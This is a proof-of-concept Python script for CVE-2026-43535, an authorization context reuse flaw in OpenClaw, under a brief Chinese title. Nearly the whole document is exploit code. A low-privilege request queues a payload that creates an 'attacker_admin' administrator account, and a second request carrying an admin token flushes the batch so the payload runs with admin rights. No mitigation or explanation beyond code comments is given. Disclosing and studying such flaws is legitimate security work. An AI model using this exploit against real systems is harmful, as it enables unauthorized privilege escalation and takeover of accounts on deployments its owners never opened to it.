CVE-2026-43535 OpenClaw授权上下文重用漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-43535: OpenClaw Authorization Context Reuse. This script demonstrates how a low-privileged user can trigger a batch execution that inherits a high-privileged user's context. """ import requests import time TARGET_URL = "http://target-openclaw-instance/api/queue" LOW_PRIV_TOKEN = "low_priv_user_token" HIGH_PRIV_TOKEN = "admin_token" # Assumed to be active via parallel activity # Step 1: Low-priv user sends a malicious command (e.g., create admin) # This message sits in the queue waiting for batch processing. malicious_payload = { "action": "create_user", "role": "admin", "username": "attacker_admin" } print("[*] Sending malicious message with low privileges...") requests.post(TARGET_URL, json=malicious_payload, headers={"Authorization": LOW_PRIV_TOKEN}) # Step 2: Wait a brief moment to ensure the message is queued in the current batch time.sleep(0.5) # Step 3: Trigger batch flush. # In a real scenario, this happens when a high-priv user sends a request. # The vulnerability causes the entire batch (including our message) to run # with the high-priv user's context. trigger_payload = { "action": "status_check" } print("[*] Triggering batch execution context switch...") # Simulating the high-priv request that drains the batch requests.post(TARGET_URL, json=trigger_payload, headers={"Authorization": HIGH_PRIV_TOKEN}) print("[+] Exploit completed. Check if 'attacker_admin' was created.")